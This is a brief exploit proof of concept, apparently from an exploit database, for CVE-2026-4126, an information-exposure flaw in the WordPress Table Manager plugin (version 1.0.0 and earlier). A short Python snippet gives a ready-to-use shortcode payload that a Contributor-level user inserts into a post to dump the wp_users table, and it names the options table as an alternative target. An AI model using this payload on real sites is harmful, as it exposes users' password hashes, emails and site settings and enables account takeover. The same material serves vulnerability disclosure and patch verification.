CVE-2026-4126 WordPress Table Manager 信息泄露漏洞

# Exploit Title: WordPress Table Manager <= 1.0.0 - Sensitive Information Exposure (PoC) # Description: This shortcode demonstrates how to leak data from the wp_users table. # Usage: Insert the following shortcode into a post or page content as a Contributor user. # Malicious Shortcode Payload # The plugin appends the table prefix (e.g., wp_) to the provided value. # To dump the users table, we use 'users'. payload = "[table_manager table='users']" # Alternatively, to access options table: # payload = "[table_manager table='options']" print(f"Insert this shortcode into a post content: {payload}")